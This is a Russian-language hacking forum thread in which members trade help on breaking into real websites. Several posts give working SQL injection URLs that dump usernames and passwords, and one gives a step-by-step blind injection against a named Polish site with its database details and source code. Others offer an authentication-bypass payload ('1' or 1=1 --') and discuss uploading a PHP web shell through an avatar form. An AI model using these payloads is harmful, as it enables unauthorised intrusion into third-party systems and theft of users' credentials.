Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. bbugz

    bbugz New Member

    Joined:
    21 Jul 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Всем Привет.Вытянул из базы логины и пароли юзеров,патюсь залогинится выдет такую ошибку

    что это значит и можно ли как-то использовать?

    p.s. только учусь по данной теме ,поэтому не судим строго,очень прошу.. ;)
     
  2. s000r

    s000r Banned

    Joined:
    28 Sep 2011
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    аналогичная ситуация...
     
  3. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Показывай ссылку, или в пм.

    upd: все, решили, проблема была как я и сказал, в указателе на базу данных с этой таблицей.
     
    #18223 Boolean, 3 Nov 2011
    Last edited: 3 Nov 2011
  4. Einstein

    Einstein New Member

    Joined:
    24 Oct 2011
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Люди помогите с sql

    Имеется SQL инъекция.
    www.xxx.xx/title.php?id=-32+union+select+1
    версия: 5.1.49
    нашел таблицу members
    в таблице есть колонки: username, password
    пишу запрос:
    www.xxx.xx/title.php?id=-32+union+select+username from members limit 0,1 ---- не выводится ничего и при limit 1,1 и 1,2
    но при:
    www.xxx.xx/title.php?id=-32+union+select+password from members limit 0,1 ---все пароли выводятся
    В чем может быть проблема?
     
  5. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    Einstein,
    может просто нет username-ов?) Ссылку кинь в ПМ.


    P.S. Попробуй UNHEX(HEX(username))
    www.xxx.xx/title.php?id=-32+union+select+UNHEX(HEX(username))+from+members+limit+0,1+--+
     
    #18225 tabletkO, 3 Nov 2011
    Last edited: 3 Nov 2011
  6. Einstein

    Einstein New Member

    Joined:
    24 Oct 2011
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    ай-яй.
    Все получилось помогло вот что:
    www.xxx.xx/title.php?id=-34+union+select+concat(username,char(58),password)...---b все вывелось.
    tabletkO спасибо, что откликнулся =)
     
  7. omg_it_glowZ

    omg_it_glowZ New Member

    Joined:
    29 Jan 2011
    Messages:
    38
    Likes Received:
    1
    Reputations:
    -2
    не интересуют программы, которые просто ищут ошибку при подстановке " ' ".
    Это ты видать не заметил, да?
     
  8. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    Проблемка...
    При выводе инфы из БД пишет Subquery returns more than 1 row
    запрос:
    ?id=1+and(select+1+from(select+count(*),concat((select+2+from+users+limit+0,1),floor(rand(0)*2))x+from+users+group+by+x)a)+and+1=1
     
  9. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4%20order%20by%20123
    как такое крутить? почему при order by 123 нет ошибки? :(
     
  10. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4%20order%20by%20123+--+
    ;)
     
  11. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Тут Blind SQL

    Крутить так:

    Code:
    http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4+and+substring((version()),1,1)=4
    4-ая версия. Печально.

    Code:
    http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4+and+ascii(substring(([COLOR=Magenta]user()[/COLOR]),[SIZE=3][B][COLOR=Magenta]1[/COLOR][/SIZE][/B],1))=109
    User = mup@localhost


    Code:
    http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4+and+ascii(substring(([COLOR=Magenta]database()[/COLOR]),[SIZE=3][B][COLOR=Magenta]1[/COLOR][/SIZE][/B],1))=112
    Database = praca

    Теперь подбирай таблички так:

    Code:
    http://www.mup.lublin.pl/db/popup.php?action=results&poll_ident=4+and+exists(select+count(*)+from+praca.[COLOR=Magenta]НАЗВАНИЕ_ТАБЛИЧКИ[/COLOR])
    Если страничка отобразится нормально - ты подобрал =)
     
    _________________________
    #18231 BigBear, 4 Nov 2011
    Last edited: 4 Nov 2011
  12. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Вот вам сорцы =)
    PHP:
           if ($this->is_valid_poll_id($poll_id)) {
                
    $voted $this->has_voted($poll_id);
                
    $is_active $this->is_active_poll_id($poll_id);
                if (
    $action=="results" && $poll_id==$poll_ident) {
                    return 
    $this->view_poll_result($poll_id,0);
                } elseif (!
    $is_active) {
                    return 
    $this->view_poll_result($poll_id,0);
                } elseif (
    $is_active && $voted) {
                    return 
    $this->view_poll_result($poll_id,1);
    PHP:
        function is_valid_poll_id($poll_id) {
            
    $poll_id intval($poll_id);
            if (
    $poll_id>0) {
                
    $this->db->fetch_array($this->db->query("SELECT poll_id FROM ".$this->tbl['poll_index']." WHERE poll_id=$poll_id AND status<'2'"));
                return (
    $this->db->record['poll_id']) ? true false;
            } else {
                return 
    false;
            }
        }

    PHP:
    function is_active_poll_id($poll_id) {
            
    $poll_id intval($poll_id);
            
    $this->db->fetch_array($this->db->query("SELECT * FROM ".$this->tbl['poll_index']." WHERE (poll_id='$poll_id' AND status=1)"));
            if (!
    $this->db->record) {
                return 
    false;
            } elseif (
    $this->db->record['expire']==0) {
                return 
    true;
            }
            return (
    $this->db->record['exp_time']<time()) ? false true;
        }
    PHP:
    function view_poll_result($poll_id,$vote_stat=0) {
            
    $poll_id intval($poll_id);
            if (!isset(
    $this->poll_result_html[$poll_id]) || !isset($this->poll_result_html[$poll_id][$this->template_set])) {           
                
    $pollvars $this->pollvars;
                
    $row $this->db->fetch_array($this->db->query("SELECT * FROM ".$this->tbl['poll_index']." WHERE (poll_id = '$poll_id')"));
                if (!
    $row) {
                    return 
    "";
                }
                
    $question $row['question'];
                
    $VOTE = ($vote_stat==1) ? $this->pollvars['voted'] : '';
                
    $COMMENT = ($row['comments']==1) ? "<a href=\"javascript:void(window.open('$pollvars[base_url]/comments.php?action=send&amp;id=$poll_id&amp;template_set=$this->template_set','$poll_id','width=230,height=320,toolbar=no,statusbar=no'))\">".$this->pollvars['send_com']."</a>" '';
                eval(
    "\$result_html = \"".$this->get_poll_tpl("result_head")."\";");
                
    $i=0;
                
    $loop_html $this->get_poll_tpl("result_loop");
                if (!isset(
    $this->options[$poll_id])) {
                    
    $this->get_poll_data($poll_id);
                }
                
    $maxvote = ($this->options[$poll_id]['maxvote'] == 0) ? $this->options[$poll_id]['maxvote'];
                
    $totalvotes = ($this->options[$poll_id]['total'] == 0) ? $this->options[$poll_id]['total'];
                for (
    $i=0;$i<sizeof($this->options[$poll_id]['option_id']);$i++) {
                    
    $img_width = (int) ($this->options[$poll_id]['votes'][$i]*$this->pollvars['img_length']/$maxvote);
                    
    $vote_count $this->options[$poll_id]['votes'][$i];
                    
    $vote_percent sprintf("%.2f",($this->options[$poll_id]['votes'][$i]*100/$totalvotes));
                    
    $vote_val = ($this->pollvars['type'] == "percent") ? sprintf("%.1f",($this->options[$poll_id]['votes'][$i]*100/$totalvotes))."%" $vote_count;
                    
    $option_text $this->options[$poll_id]['option_text'][$i];
                    
    $option_votes $this->options[$poll_id]['votes'][$i];
                    
    $poll_color $this->options[$poll_id]['color'][$i];
                    eval(
    "\$result_html .= \"$loop_html\";");
                }
                
    $total_votes $this->options[$poll_id]['total'];
                eval(
    "\$result_html .= \"".$this->get_poll_tpl("result_foot")."\";");
                
    $this->poll_result_html[$poll_id][$this->template_set] = $result_html;
            }
            return 
    $this->poll_result_html[$poll_id][$this->template_set];
        }
    Собстна, учитывая что на сервере mg=ON, и версия mysql 4, то только blind sqli. on error based не прокатит.
     
    #18232 Boolean, 4 Nov 2011
    Last edited: 4 Nov 2011
  13. swat_

    swat_ Member

    Joined:
    4 Nov 2009
    Messages:
    137
    Likes Received:
    30
    Reputations:
    1
    есть сайт ,при запросе вида ?action=doLogin&Username=1' выдаёт

    Invalid query: select * from Users where Username='1'' AND Password=''
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' AND Password=''' at line 1

    перепробовал кучу запросов , нехера не получается обойти авторизацию,каким запросом можно обойти авторизацию ?((


    25cf%25e0%25f0%25ee%25eb%25fc%27%20or%20%28%282%29%2b1%29%20 %201%20--%20&%c8%ec%ff что это за кодировка??? и это %c8%ec%ff'
     
    #18233 swat_, 4 Nov 2011
    Last edited: 4 Nov 2011
  14. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    например,
    username = admin
    password = 1' or 1=1 --

    urlencode
     
    2 people like this.
  15. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    На одном сайте есть форма заливки аватара для юзеров, при заливке файла с расширением php все данные в файле заменяются на такую кашу
    урл аватара получается вида /images/avatar-13.php, то есть с таким расширением действительно загружается файл но содержимое его заменяется на дефолтную картинку что-ли. Может есть у кого идеи как обойти?
     
  16. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    ты льешь напрямую шелл или jpg с кодом php?
     
  17. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Пробовал и так и так - результат один.
     
  18. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Хочу попробовать вот этот способ через мета данные картинки
    _http://raz0r.name/articles/bezopasnost-zagruzhaemyx-izobrazhenij/

    может выйдет что

    Кто может разъяснить этот способ?
    http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/
    Может у кого есть мануал на русском или готовый вариант? Буду оч благодарен
     
    #18238 SergioBlog, 4 Nov 2011
    Last edited: 4 Nov 2011
  19. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    бессмысленно, во-первых, изображения обрабатываются GD, которая уничтожит весь твой php-код.

    во-вторых, ты сказал, что льешь php-шелл , а на выходе получаешь jpg-файл - такого быть не может, там что-то еще происходит.
     
  20. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Когда заливаю картинку - всё ок. Когда заливаю пхп скрипт то в файле с расширением .php оказывается картинка дефолтная.
     
Thread Status:
Not open for further replies.